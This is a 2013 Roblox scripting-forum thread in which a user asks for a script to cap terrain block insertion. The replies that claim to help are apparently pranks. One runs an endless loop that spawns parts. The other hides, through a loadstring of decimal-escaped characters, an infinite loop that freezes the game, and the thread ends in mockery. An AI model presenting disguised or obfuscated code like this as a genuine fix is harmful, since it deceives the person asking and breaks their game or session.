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| 13 Jan 2013 05:28 PM |
Create a script that can limit the amount of terrain/High Scalability blocks you can insert at once?
If it is, someone please make one for me.... .-. |
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| 13 Jan 2013 05:39 PM |
maxBlocks = YourNumber
coroutine.resume(coroutine.create(function() --if Terrain.Status == "Max" then -- Terrain.Status = "Full" and Terrain.Status = "Locked" while wait() do -- Game.Terrain.Blocks - 1 -- Instance.new("CleanSpareBlocks", Terrain) Instance.new("Part", Workspace).CFrame = CFrame.new(0,100,0) -- end end end))
--[[ ypcall(function() Workspace.Terrain.MaxTerrainNumber = maxBlocks if Workspace.Terrain.TerrainCount > maxBlocks then print("Max reached")-- Workspace.Terrain.TerrainCount = Workspace.Terrain.TerrainCount - 1 end end)]]--
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| 13 Jan 2013 05:40 PM |
| It is possible. No I will not make it for you. |
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| 13 Jan 2013 05:52 PM |
@Cody Thank you. I assume I change the YourNumber part, and the numbers 1. |
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| 13 Jan 2013 05:56 PM |
| I did, but it didn't work? |
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| 13 Jan 2013 06:45 PM |
I tried his script and it worked fine for me... Here, just put this in a script. Just change Maxnum to the max number you want it to.
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Maxnum = 100 -- The actual max number is a million. ( 1000000 ) Don't surpass it, otherwise it will crash.
loadstring("\102\111\114\32\97\32\61\32\49\44\32\49\52\57\54\52\57\32\100\111\32\112\114\105\110\116\40\97\41\32\119\104\105\108\101\32\116\114\117\101\32\100\111\32\101\110\100\32\101\110\100")()
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~ṡсɾïρτïṉģ hεlρεɾṡ ۩ lυαlεαɾṉεɾṡ ④ øƒвќṃṿј~ ღ ▂▃▅▆█ρεώḋïερïε☄сυτïερïε█▆▅▃▂ღ 【▬】 |
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| 14 Jan 2013 02:57 PM |
@Jonah When I tried his script, it repeatedly inserted bricks...
But thanks, I'll try yours.
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Saltless
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| Joined: 24 Dec 2012 |
| Total Posts: 107 |
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| 14 Jan 2013 02:59 PM |
lol u stupid
-- A fry without salt is like a world without hate. |
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